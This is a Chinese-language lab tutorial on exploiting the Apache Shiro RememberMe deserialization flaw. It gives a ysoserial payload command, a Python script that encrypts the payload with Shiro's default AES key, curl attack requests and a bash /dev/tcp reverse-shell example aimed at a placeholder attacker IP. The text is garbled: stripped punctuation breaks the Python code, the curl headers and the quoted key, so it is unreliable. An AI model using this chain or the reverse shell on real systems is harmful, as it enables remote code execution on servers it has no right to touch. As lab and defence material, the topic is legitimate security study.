Shiro反序列化漏洞手工复现:从原理到实战的完整指南
1. 项目概述为什么我们要亲手复现Shiro漏洞在安全研究领域ShiroApache Shiro是一个绕不开的名字。作为一个强大且易用的Java安全框架它被广泛应用于Web应用的身份认证、授权、加密和会话管理。然而正是由于其广泛的应用一旦出现安全漏洞影响范围将极其巨大。作为一名渗透测试工程师或安全研究员仅仅知道“Shiro有反序列化漏洞”是远远不够的。亲手搭建环境、触发漏洞、分析流量、理解原理这个过程的价值远超阅读一份现成的漏洞报告。复现Shiro漏洞尤其是其经典的反序列化漏洞如CVE-2016-4437俗称Shiro-550绝不是一个简单的“按步骤操作”。它是一次完整的实战演练涉及Java Web基础、加密算法、HTTP协议、序列化与反序列化机制以及漏洞利用链的构造。通过这次复现你不仅能掌握一个高危漏洞的利用方法更能深入理解Java安全机制的薄弱环节为后续的代码审计和漏洞挖掘打下坚实基础。无论你是刚入门的安全爱好者还是希望巩固实战经验的安全从业者这都是一次不可多得的深度学习机会。2. 环境搭建与靶场部署漏洞复现的第一步是准备一个“战场”。一个稳定、可控且与真实环境高度相似的实验环境是成功的关键。我们不建议直接在公网或公司内网对未知系统进行测试搭建本地靶场是最安全、最合规的选择。2.1 核心组件选型与准备一个标准的Shiro漏洞复现环境通常包含以下几个部分靶场应用一个存在漏洞的Shiro应用。我们可以选择使用网络上公开的漏洞靶场例如使用vulhub或vulfocus这类集成化漏洞环境。这里我们以手动部署一个简单的、集成Shiro 1.2.4的Web应用为例。这个版本包含了经典的RememberMe反序列化漏洞。Java运行环境Shiro是Java框架因此需要JDK。建议使用JDK 8因为大多数历史漏洞靶场基于此版本构建兼容性最好。Web服务器我们使用轻量级的Tomcat 8.x作为Servlet容器来部署我们的靶场应用。漏洞利用工具用于生成恶意序列化载荷Payload并发送HTTP请求的工具。我们将使用Python编写脚本并依赖ysoserial这个强大的Java反序列化利用工具链来生成Payload。注意所有组件务必在隔离的虚拟机或专用实验机中安装。切勿在生产环境或连接重要网络的设备上进行漏洞复现操作。2.2 靶场应用部署实操假设我们已经准备好了一个名为shiro_demo.war的漏洞Web应用包可以通过编译一个简单的、使用了漏洞版本Shiro的Spring Boot或传统JSP应用获得网上也有许多现成的靶场源码。步骤一安装JDK与Tomcat# 在Ubuntu/Debian系统下安装OpenJDK 8和Tomcat 8 sudo apt update sudo apt install openjdk-8-jdk -y wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.xx/bin/apache-tomcat-8.5.xx.tar.gz tar -xzf apache-tomcat-8.5.xx.tar.gz sudo mv apache-tomcat-8.5.xx /opt/tomcat8步骤二部署应用将shiro_demo.war文件复制到Tomcat的webapps目录下。cp shiro_demo.war /opt/tomcat8/webapps/启动Tomcat服务器cd /opt/tomcat8/bin ./startup.sh访问http://your_vm_ip:8080/shiro_demo如果能看到登录页面说明靶场部署成功。步骤三验证Shiro特征Shiro框架有一个明显的特征在返回的HTTP响应头中会包含rememberMedeleteMe字段。我们可以使用浏览器开发者工具F12的“网络(Network)”选项卡查看或者使用curl命令curl -I http://your_vm_ip:8080/shiro_demo/login在返回的Set-Cookie头中你很可能会看到rememberMedeleteMe。这是Shiro在用户登出时设置的Cookie也是我们漏洞利用的关键入口点。2.3 工具链准备ysoserial与Python脚本ysoserial是一个集合了各种Java反序列化利用链Gadget Chains的工具。我们需要用它来生成我们的恶意Payload。下载并编译ysoserialgit clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests编译成功后在target目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar文件。准备Python利用脚本 我们需要一个脚本来自动化完成Payload生成、AES加密、Base64编码和HTTP请求发送的过程。核心是利用Shiro用于加密RememberMeCookie的默认密钥kPHbIxk5D2deZiIxcaaaA。这个密钥是硬编码在Shiro框架源码中的正是这个“默认密钥”导致了大量漏洞的产生。 脚本的核心逻辑是使用ysoserial生成指定利用链如CommonsCollections2的序列化对象。使用AES-CBC模式、PKCS5Padding填充方式用默认密钥加密这个序列化数据。将加密后的字节进行Base64编码。构造HTTP请求将编码后的字符串作为rememberMeCookie的值发送给目标。3. 漏洞原理深度剖析Shiro RememberMe的反序列化之路要利用漏洞必须先理解漏洞。Shiro的RememberMe功能本意是为用户提供“记住我”的便捷登录体验。其工作流程大致如下用户成功登录并勾选“记住我”。服务端将用户的身份信息Principal序列化成字节流。使用AES密钥默认或自定义加密该字节流。将加密后的数据做Base64编码放入rememberMeCookie返回给浏览器。用户下次访问时浏览器自动带上这个Cookie。服务端收到Cookie后进行Base64解码、AES解密最后将字节流反序列化成对象恢复用户身份。漏洞产生的根本原因在于两个致命环节的叠加环节一不安全的默认密钥。Shiro 1.2.4及之前版本用于加密的AES密钥是硬编码在源码中的。攻击者如果知道这个密钥就能伪造或解密Cookie数据。虽然官方后来建议开发者修改密钥但大量历史应用和意识薄弱的开发者并未更改导致漏洞广泛存在。环节二危险的反序列化操作。Shiro在解密Cookie数据后会直接对其执行ObjectInputStream.readObject()进行反序列化。这是一个极其危险的操作因为它会根据字节流中的内容自动调用相关对象的readObject方法。如果攻击者能够控制反序列化的数据流并精心构造一个恶意的序列化对象利用链就可以在目标服务器上执行任意代码。利用链Gadget Chain是什么你可以把它想象成一套“多米诺骨牌”或者一个“Rube Goldberg机械”。它由Java标准库或第三方库如Apache Commons Collections中的一系列类组成。这些类的某些方法在被调用时会产生“副作用”比如执行命令、写入文件。通过精心安排这些类的序列化数据当它们被反序列化时就会按照攻击者设计的顺序依次触发这些“副作用”最终达到执行系统命令的目的。ysoserial工具就是预先组装好了很多套这样的“骨牌”。4. 手工复现漏洞全流程实录理解了原理我们开始动手。手工复现能让你对每一个环节都有清晰的感知。4.1 探测与指纹识别首先确认目标存在Shiro框架且可能未更改默认密钥。# 使用curl探测响应头 curl -I http://192.168.1.100:8080/shiro_demo/login # 关注 Set-Cookie 头中是否有 rememberMedeleteMe # 也可以尝试发送一个包含错误rememberMe Cookie的请求观察响应 curl -v http://192.168.1.100:8080/shiro_demo/login -H Cookie: rememberMe123 # 如果返回的Cookie中依然被设置为deleteMe说明Shiro处理了这个Cookie进一步确认。4.2 生成恶意Payload我们选择CommonsCollections2利用链它依赖commons-collections4库在旧版Java应用中非常常见。假设我们要执行命令touch /tmp/success来在目标服务器上创建一个文件作为攻击成功的标志。# 使用ysoserial生成Payload java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 touch /tmp/success payload.bin这行命令会生成一个包含恶意序列化对象的二进制文件payload.bin。4.3 加密与编码接下来我们需要用Shiro的默认AES密钥加密这个文件并进行Base64编码。这里我们使用一个Python脚本shiro_exploit.py来完成核心步骤import sys import base64 import uuid from Crypto.Cipher import AES from Crypto.Util.Padding import pad def encrypt(key, payload): # Shiro使用的AES模式CBC填充PKCS5 iv uuid.uuid4().bytes # 随机生成16字节IV cipher AES.new(base64.b64decode(key), AES.MODE_CBC, iv) # 对payload进行PKCS5填充 padded_payload pad(payload, AES.block_size, stylepkcs5) encrypted cipher.encrypt(padded_payload) # 最终数据格式IV 加密数据 final_payload iv encrypted return base64.b64encode(final_payload) if __name__ __main__: default_key kPHbIxk5D2deZiIxcaaaA # Shiro 1.2.4默认密钥 with open(payload.bin, rb) as f: payload f.read() rememberme_cookie encrypt(default_key, payload) print(rememberme_cookie.decode())运行脚本得到加密编码后的Cookie值python3 shiro_exploit.py4.4 发送攻击请求将上一步输出的字符串作为rememberMeCookie的值发送给目标登录接口或其他任何Shiro拦截的接口。curl http://192.168.1.100:8080/shiro_demo/login -H Cookie: rememberMe这里替换成生成的Base64字符串发送请求后表面上看可能只是一个普通的404或登录页面但攻击已经在后台执行。4.5 验证攻击结果登录到靶场服务器检查命令是否执行成功ls -la /tmp/success如果文件/tmp/success被成功创建则证明反序列化漏洞利用成功我们在目标服务器上实现了任意命令执行。实操心得在实际渗透测试中命令执行成功后我们通常会尝试反弹一个ShellReverse Shell以获得一个交互式命令行。例如使用bash -i /dev/tcp/攻击机IP/端口 01这样的命令。但前提是目标服务器需要安装有bash且出网不受限制。在复现环境中创建文件是一个更简单直观的验证方式。5. 密钥爆破与更高版本漏洞延伸5.1 当默认密钥被修改后密钥爆破安全意识较强的开发者会修改Shiro的默认加密密钥。此时直接使用默认密钥的攻击会失败。但我们依然有机会因为密钥通常被设置在配置文件中强度可能不足。我们可以进行密钥爆破爆破。思路是准备一个已知结果的Payload例如执行whoami或echo test然后用一个密钥字典包含常见弱密钥、基于网站特征的密钥等去尝试加密这个Payload并发送请求。通过观察服务器响应如响应时间差异、错误信息、或一个特殊的测试命令回显来判断当前使用的密钥是否正确。有现成的工具如shiro_attack可以自动化这个过程。其核心逻辑就是遍历密钥字典构造测试Payload发送请求并判断。密钥字典的质量决定了爆破的成功率。5.2 更高版本的Shiro漏洞CVE-2020-1957等Shiro在修复了默认密钥问题后又陆续爆出其他漏洞例如CVE-2020-1957这是一个权限绕过漏洞与反序列化无关。攻击者通过构造特殊的URL利用Shiro和Spring框架在路径处理上的差异可以绕过Shiro的权限校验直接访问需要认证的接口。复现此漏洞需要分析Shiro的PathMatchingFilter匹配逻辑和Spring的AntPathMatcher的差异。CVE-2020-11989另一个权限绕过漏洞涉及Shiro在处理URL时对分号;的解析问题。CVE-2020-13933与CVE-2020-11989类似是另一个URL解析绕过。复现这些漏洞需要搭建对应版本的Shiro如1.5.2与Spring Boot集成环境并构造诸如/admin/..;/manage或/admin/%3b之类的畸形URL进行测试。这要求研究者对HTTP协议、Servlet路径解析有更深的理解。6. 常见问题排查与防御建议6.1 复现过程中可能遇到的坑Payload执行成功但无回显这是最常见的情况。你执行了touch /tmp/test但在服务器上看不到文件。可能原因当前用户权限不足Web应用如Tomcat通常以非root用户如tomcat运行可能对/tmp目录有写权限但对其他目录没有。始终使用绝对路径并优先尝试Web目录如/var/lib/tomcat8/webapps/ROOT/test.jsp或临时目录。命令语法问题Linux和Windows命令不同。确保你的命令与目标系统兼容。使用which touch或where touch来检查命令是否存在。利用链不兼容目标环境可能缺少ysoserial利用链所依赖的库如commons-collections的特定版本。需要换用其他利用链尝试如CommonsBeanutils1。收到“无效的RememberMe令牌”响应这通常意味着AES解密失败即密钥不对。如果你确信是默认密钥环境请检查加密模式与填充确认脚本中的AES模式是否为CBC填充是否为PKCS5或PKCS7两者在AES中等价。IV处理Shiro的加密数据是IV密文IV是随机的16字节。你的加密函数必须预先生成一个随机IV并将其拼在密文前一起做Base64编码。Base64编码确保使用的是标准Base64注意URL安全Base64可能不适用。工具ysoserial报错可能是Java版本不兼容。ysoserial的某些利用链对JDK版本有要求。尝试在JDK 8环境下运行。同时确保编译ysoserial时使用的依赖版本与目标环境大致匹配。6.2 作为开发者如何防御Shiro反序列化漏洞如果你是一名开发者正在使用或计划使用Shiro请务必遵循以下安全实践立即升级将Apache Shiro升级到最新稳定版本。新版本不仅修复了已知漏洞还引入了更安全的设计。强制修改密钥绝对不要使用默认的rememberMe加密密钥。在Shiro配置中使用强随机生成的密钥。例如可以使用如下命令生成一个openssl rand -base64 32然后将生成的密钥配置到shiro.ini或Spring Boot的application.properties中。禁用RememberMe如果应用不需要“记住我”功能最彻底的方式是直接禁用它。安全反序列化考虑使用白名单机制来限制反序列化时可接受的类。虽然Shiro本身未直接提供但可以通过自定义RememberMeManager在反序列化前对类名进行校验。更通用的方案是使用更安全的反序列化工具如Jackson的ObjectMapper但需正确配置。最小化依赖定期清理项目依赖移除不必要的库如老旧的commons-collections减少可利用的“攻击面”。网络防护在WAFWeb应用防火墙或网关层面可以设置规则拦截包含异常长或特殊字符的rememberMeCookie的请求。手工复现一个像Shiro反序列化这样的经典漏洞就像完成一次精密的外科手术。每一个步骤——从环境准备、原理理解、到Payload构造和问题排查——都加深了你对应用安全、协议交互和系统底层的认知。这种经验是阅读多少理论文章都无法替代的。我个人的体会是每次复现后再看Shiro的配置代码或相关的漏洞预警都会有豁然开朗的感觉能一眼看出问题的关键所在。安全之路始于足下更始于这一次次亲手搭建又亲手攻破的靶场之中。